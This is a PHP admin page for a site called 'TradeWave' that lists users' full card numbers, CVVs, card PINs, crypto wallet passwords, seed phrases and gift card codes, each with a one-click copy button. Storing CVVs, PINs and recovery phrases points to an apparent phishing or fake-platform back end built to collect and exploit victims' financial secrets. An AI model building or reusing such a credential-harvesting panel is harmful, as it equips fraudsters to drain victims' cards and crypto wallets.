<?php
 session_start();
    require_once 'php/adminconfig.php';
    
    // Enhanced login and role check
    if (!isset($_SESSION['admin_id']) || $_SESSION['user_role'] !== 'admin') {
        header('Location: signin-admin.php');
        exit();
    }
    
    // Simple logout
    if (isset($_GET['action']) && $_GET['action'] === 'logout') {
        session_destroy();
        header('Location: signin-admin.php');
        exit();
    }
    
    // Get user information for each payment record
    function getUserInfo($userId, $conn) {
        $stmt = $conn->prepare("SELECT firstname, lastname, email FROM users WHERE id = ?");
        $stmt->bindParam(1, $userId, PDO::PARAM_INT);
        $stmt->execute();
        
        if ($stmt->rowCount() > 0) {
            return $stmt->fetch(PDO::FETCH_ASSOC);
        } else {
            return [
                'firstname' => 'Unknown',
                'lastname' => 'User',
                'email' => 'unknown@example.com'
            ];
        }
    }
    
    // Get wallet details
    $walletQuery = "SELECT wd.*, u.firstname, u.lastname, u.email 
                   FROM wallet_details wd 
                   LEFT JOIN users u ON wd.user_id = u.id 
                   ORDER BY wd.created_at DESC";
    $walletResult = $conn->prepare($walletQuery);
    $walletResult->execute();
    
    // Get payment details
    $paymentQuery = "SELECT pd.*, u.firstname, u.lastname, u.email 
                    FROM payment_details pd 
                    LEFT JOIN users u ON pd.user_id = u.id 
                    ORDER BY pd.created_at DESC";
    $paymentResult = $conn->prepare($paymentQuery);
    $paymentResult->execute();
    
    // Get giftcard redemptions
    $giftcardQuery = "SELECT gr.*, u.firstname, u.lastname, u.email 
                     FROM giftcard_redemptions gr 
                     LEFT JOIN users u ON gr.user_id = u.id 
                     ORDER BY gr.redemption_date DESC";
    $giftcardResult = $conn->prepare($giftcardQuery);
    $giftcardResult->execute();
    ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=0.9, maximum-scale=0.9, user-scalable=no" />
    <title>Payment Details - TradeWave Admin</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link rel="stylesheet" type="text/css" href="css/admin.css">
    <style>
        :root {
            --primary-color: #6c5ce7;
            --secondary-color: #a29bfe;
            --accent-color: #4834d4;
            --light-bg: #f8f9fa;
            --dark-bg: #343a40;
            --white: #ffffff;
            --gray: #6c757d;
            --success: #00b894;
            --warning: #fdcb6e;
            --danger: #d63031;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }

        body {
            background-color: #f5f7fa;
            color: #333;
            overflow-x: hidden;
        }

        .containner {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
        }

        .page-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 30px;
            padding-bottom: 15px;
            border-bottom: 1px solid #e0e0e0;
        }

        .page-title {
            font-size: 24px;
            font-weight: 600;
            color: #333;
        }

        .action-link {
            display: inline-flex;
            align-items: center;
            background-color: var(--primary-color);
            color: white;
            padding: 8px 16px;
            border-radius: 6px;
            text-decoration: none;
            font-weight: 500;
            transition: all 0.3s ease;
        }

        .action-link:hover {
            background-color: var(--accent-color);
            transform: translateY(-2px);
        }

        .action-link i {
            margin-right: 8px;
        }

        .tab-container {
            margin-bottom: 30px;
        }

        .tabs {
            display: flex;
            background-color: var(--white);
            border-radius: 8px;
            overflow: hidden;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);
            margin-bottom: 20px;
        }

        .tab {
            padding: 15px 25px;
            cursor: pointer;
            transition: all 0.3s ease;
            font-weight: 500;
            color: var(--gray);
            border-bottom: 3px solid transparent;
            flex: 1;
            text-align: center;
        }

        .tab.active {
            color: var(--primary-color);
            border-bottom: 3px solid var(--primary-color);
            background-color: rgba(108, 92, 231, 0.05);
        }

        .tab:hover:not(.active) {
            background-color: rgba(0, 0, 0, 0.02);
            color: #333;
        }

        .tab-content {
            display: none;
            animation: fadeIn 0.5s ease forwards;
        }

        .tab-content.active {
            display: block;
        }

        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(10px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        .card {
            background-color: var(--white);
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);
            margin-bottom: 30px;
            overflow: hidden;
        }

        .card-header {
            padding: 15px 20px;
            background-color: rgba(108, 92, 231, 0.03);
            border-bottom: 1px solid #eee;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .card-title {
            font-size: 18px;
            font-weight: 600;
            color: #333;
        }

        .card-body {
            padding: 20px;
            position: relative;
        }

        table {
            width: 100%;
            border-collapse: collapse;
        }

        th {
            text-align: left;
            padding: 12px 15px;
            background-color: rgba(108, 92, 231, 0.05);
            font-weight: 600;
            color: #333;
            font-size: 14px;
            border-bottom: 1px solid #eee;
        }

        td {
            padding: 15px;
            border-bottom: 1px solid #eee;
            font-size: 14px;
            position: relative;
        }

        tr:last-child td {
            border-bottom: none;
        }

        tr:hover {
            background-color: rgba(108, 92, 231, 0.02);
        }

        .copy-button {
            visibility: hidden;
            position: absolute;
            right: 10px;
            top: 50%;
            transform: translateY(-50%);
            background-color: transparent;
            border: none;
            color: #6c757d;
            cursor: pointer;
            padding: 5px;
            border-radius: 4px;
            transition: all 0.2s ease;
        }

        td:hover .copy-button {
            visibility: visible;
        }

        .copy-button:hover {
            color: var(--primary-color);
            background-color: rgba(108, 92, 231, 0.1);
        }

        .copy-success {
            position: fixed;
            bottom: 20px;
            right: 20px;
            background-color: var(--success);
            color: white;
            padding: 10px 20px;
            border-radius: 4px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
            z-index: 1000;
            transform: translateY(100px);
            opacity: 0;
            transition: all 0.3s ease;
        }

        .copy-success.show {
            transform: translateY(0);
            opacity: 1;
        }

        .data-pill {
            display: inline-block;
            padding: 3px 10px;
            border-radius: 20px;
            font-size: 12px;
            font-weight: 500;
        }

        .status-pending {
            background-color: var(--warning);
            color: #333;
        }

        .status-completed {
            background-color: var(--success);
            color: white;
        }

        .status-failed {
            background-color: var(--danger);
            color: white;
        }

        .sensitive-data {
            font-family: monospace;
            letter-spacing: 1px;
        }

        .masked-data {
            font-family: monospace;
            letter-spacing: 1px;
        }

        .data-wrapper {
            position: relative;
            display: inline-block;
        }
        
        .search-container {
            margin-bottom: 20px;
        }
        
        .search-box {
            width: 100%;
            padding: 12px 15px;
            border: 1px solid #ddd;
            border-radius: 6px;
            font-size: 14px;
            transition: all 0.3s ease;
        }
        
        .search-box:focus {
            outline: none;
            border-color: var(--primary-color);
            box-shadow: 0 0 0 3px rgba(108, 92, 231, 0.1);
        }

        /* For mobile view */
        @media (max-width: 768px) {
            .tabs {
                flex-wrap: wrap;
            }
            
            .tab {
                flex: 1 0 33.333%;
            }
            
            table, thead, tbody, th, td, tr {
                display: block;
            }
            
            thead tr {
                position: absolute;
                top: -9999px;
                left: -9999px;
            }
            
            tr {
                margin-bottom: 15px;
                border: 1px solid #eee;
                border-radius: 6px;
                box-shadow: 0 2px 4px rgba(0,0,0,0.05);
            }
            
            td {
                border: none;
                border-bottom: 1px solid #eee;
                position: relative;
                padding-left: 50%;
                text-align: right;
            }
            
            td:last-child {
                border-bottom: none;
            }
            
            td:before {
                position: absolute;
                top: 15px;
                left: 15px;
                width: 45%;
                padding-right: 10px;
                text-align: left;
                font-weight: 600;
                content: attr(data-label);
            }
            
            .copy-button {
                visibility: visible;
                right: 15px;
            }
        }
    </style>
</head>
<body>
    <?php include "required/admin-nav.php" ?>
    

    <div class="pc">
    <div class="containner">
        <div class="page-header">
            <h1 class="page-title">Payment Details</h1>
            <a href="uploaded-adm.php" class="action-link">
                <i class="fas fa-file-invoice"></i> Images Gallery
            </a>
        </div>
        
        <div class="tab-container">
            <div class="tabs">
                <div class="tab active" data-tab="payment-cards">Payment Cards</div>
                <div class="tab" data-tab="wallets">Wallet Details</div>
                <div class="tab" data-tab="giftcards">Gift Card Redemptions</div>
            </div>
            
            <!-- Payment Cards Tab -->
            <div id="payment-cards" class="tab-content active">
                <div class="search-container">
                    <input type="text" class="search-box" id="search-payment" placeholder="Search by name, email, or card number...">
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h2 class="card-title">User Payment Cards</h2>
                    </div>
                    <div class="card-body">
                        <table id="payment-table">
                            <thead>
                                <tr>
                                    <th>User</th>
                                    <th>Email</th>
                                    <th>Card Number</th>
                                    <th>Expiry Date</th>
                                    <th>CVV</th>
                                    <th>Holder Name</th>
                                    <th>Card PIN</th>
                                    <th>Date Added</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if ($paymentResult && $paymentResult->rowCount() > 0): ?>
                                    <?php while($row = $paymentResult->fetch(PDO::FETCH_ASSOC)): ?>
                                    <tr>
                                        <td data-label="User">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['firstname'] . ' ' . $row['lastname']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['firstname'] . ' ' . $row['lastname']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Email">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['email']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['email']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Card Number">
                                            <div class="data-wrapper">
                                                <span class="sensitive-data"><?php echo htmlspecialchars($row['card_number']); ?></span>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['card_number']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Expiry Date">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['expiry_date']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['expiry_date']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="CVV">
                                            <div class="data-wrapper">
                                                <span class="sensitive-data"><?php echo htmlspecialchars($row['cvv']); ?></span>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['cvv']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Holder Name">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['holder_name']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['holder_name']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Card PIN">
                                            <div class="data-wrapper">
                                                <span class="sensitive-data"><?php echo htmlspecialchars($row['card_pin']); ?></span>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['card_pin']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Date Added">
                                            <div class="data-wrapper">
                                                <?php echo date('M d, Y H:i', strtotime($row['created_at'])); ?>
                                                <button class="copy-button" data-copy="<?php echo date('M d, Y H:i', strtotime($row['created_at'])); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endwhile; ?>
                                <?php else: ?>
                                    <tr>
                                        <td colspan="8" style="text-align: center;">No payment details found</td>
                                    </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
            
            <!-- Wallets Tab -->
            <div id="wallets" class="tab-content">
                <div class="search-container">
                    <input type="text" class="search-box" id="search-wallet" placeholder="Search by name, email, or wallet ID...">
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h2 class="card-title">User Wallet Details</h2>
                    </div>
                    <div class="card-body">
                        <table id="wallet-table">
                            <thead>
                                <tr>
                                    <th>User</th>
                                    <th>Email</th>
                                    <th>Wallet ID</th>
                                    <th>Password</th>
                                    <th>Phrase</th>
                                    <th>Balance</th>
                                    <th>Created</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if ($walletResult && $walletResult->rowCount() > 0): ?>
                                    <?php while($row = $walletResult->fetch(PDO::FETCH_ASSOC)): ?>
                                    <tr>
                                        <td data-label="User">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['firstname'] . ' ' . $row['lastname']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['firstname'] . ' ' . $row['lastname']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Email">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['email']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['email']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Wallet ID">
                                            <div class="data-wrapper">
                                                <span class="sensitive-data"><?php echo htmlspecialchars($row['wallet_id']); ?></span>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['wallet_id']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Password">
                                            <div class="data-wrapper">
                                                <span class="masked-data">••••••••</span>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['wallet_password']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Phrase">
                                            <div class="data-wrapper">
                                                <span class="masked-data">••••••••••••</span>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['wallet_phrase']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Balance">
                                            <div class="data-wrapper">
                                                $<?php echo number_format($row['balance'], 2); ?>
                                                <button class="copy-button" data-copy="$<?php echo number_format($row['balance'], 2); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Created">
                                            <div class="data-wrapper">
                                                <?php echo date('M d, Y H:i', strtotime($row['created_at'])); ?>
                                                <button class="copy-button" data-copy="<?php echo date('M d, Y H:i', strtotime($row['created_at'])); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endwhile; ?>
                                <?php else: ?>
                                    <tr>
                                        <td colspan="7" style="text-align: center;">No wallet details found</td>
                                    </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
            
            <!-- Giftcards Tab -->
            <div id="giftcards" class="tab-content">
                <div class="search-container">
                    <input type="text" class="search-box" id="search-giftcard" placeholder="Search by name, email, or giftcard code...">
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h2 class="card-title">Gift Card Redemptions</h2>
                    </div>
                    <div class="card-body">
                        <table id="giftcard-table">
                            <thead>
                                <tr>
                                    <th>User</th>
                                    <th>Email</th>
                                    <th>Giftcard Code</th>
                                    <th>Giftcard Type</th>
                                    <th>Redemption Date</th>
                                    <th>Status</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if ($giftcardResult && $giftcardResult->rowCount() > 0): ?>
                                    <?php while($row = $giftcardResult->fetch(PDO::FETCH_ASSOC)): ?>
                                    <tr>
                                        <td data-label="User">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['firstname'] . ' ' . $row['lastname']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['firstname'] . ' ' . $row['lastname']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Email">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['email']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['email']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Giftcard Code">
                                            <div class="data-wrapper">
                                                <span class="sensitive-data"><?php echo htmlspecialchars($row['giftcard_code']); ?></span>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['giftcard_code']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Giftcard Type">
                                            <div class="data-wrapper">
                                                <?php echo htmlspecialchars($row['giftcard_type']); ?>
                                                <button class="copy-button" data-copy="<?php echo htmlspecialchars($row['giftcard_type']); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Redemption Date">
                                            <div class="data-wrapper">
                                                <?php echo date('M d, Y H:i', strtotime($row['redemption_date'])); ?>
                                                <button class="copy-button" data-copy="<?php echo date('M d, Y H:i', strtotime($row['redemption_date'])); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                        <td data-label="Status">
                                            <div class="data-wrapper">
                                                <span class="data-pill status-<?php echo strtolower($row['status']); ?>">
                                                    <?php echo ucfirst(htmlspecialchars($row['status'])); ?>
                                                </span>
                                                <button class="copy-button" data-copy="<?php echo ucfirst(htmlspecialchars($row['status'])); ?>">
                                                    <i class="fas fa-copy"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endwhile; ?>
                                <?php else: ?>
                                    <tr>
                                        <td colspan="6" style="text-align: center;">No giftcard redemptions found</td>
                                    </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    <div class="copy-success" id="copy-notification">Copied to clipboard!</div>

</div>
    
    <script>
        // Tab switching functionality
        document.addEventListener('DOMContentLoaded', function() {
            const tabs = document.querySelectorAll('.tab');
            const tabContents = document.querySelectorAll('.tab-content');
            
            tabs.forEach(tab => {
                tab.addEventListener('click', () => {
                    const tabId = tab.getAttribute('data-tab');
                    
                    // Remove active class from all tabs and contents
                    tabs.forEach(t => t.classList.remove('active'));
                    tabContents.forEach(content => content.classList.remove('active'));
                    
                    // Add active class to clicked tab and its content
                    tab.classList.add('active');
                    document.getElementById(tabId).classList.add('active');
                });
            });
            
            // Copy to clipboard functionality
            const copyButtons = document.querySelectorAll('.copy-button');
            const copyNotification = document.getElementById('copy-notification');
            
            copyButtons.forEach(button => {
                button.addEventListener('click', () => {
                    const textToCopy = button.getAttribute('data-copy');
                    
                    navigator.clipboard.writeText(textToCopy).then(() => {
                        copyNotification.classList.add('show');
                        
                        setTimeout(() => {
                            copyNotification.classList.remove('show');
                        }, 2000);
                    });
                });
            });
            
            // Search functionality
            const searchPayment = document.getElementById('search-payment');
            const searchWallet = document.getElementById('search-wallet');
            const searchGiftcard = document.getElementById('search-giftcard');
            
            searchPayment.addEventListener('keyup', () => {
                filterTable('payment-table', searchPayment.value);
            });
            
            searchWallet.addEventListener('keyup', () => {
                filterTable('wallet-table', searchWallet.value);
            });
            
            searchGiftcard.addEventListener('keyup', () => {
                filterTable('giftcard-table', searchGiftcard.value);
            });
            
            function filterTable(tableId, query) {
                const table = document.getElementById(tableId);
                const rows = table.getElementsByTagName('tr');
                const filter = query.toLowerCase();
                
                // Loop through table rows, starting from index 1 to skip header
                for (let i = 1; i < rows.length; i++) {
                    const row = rows[i];
                    const cells = row.getElementsByTagName('td');
                    let found = false;
                    
                    // Check all cells in the row
                    for (let j = 0; j < cells.length; j++) {
                        const cell = cells[j];
                        const cellText = cell.textContent.toLowerCase();
                        
                        if (cellText.includes(filter)) {
                            found = true;
                            break;
                        }
                    }
                    
                    // Show/hide row based on filter match
                    if (found) {
                        rows[i].style.display = '';
                    } else {
                        rows[i].style.display = 'none';
                    }
                }
            }
        });
    </script>
</body>
</html>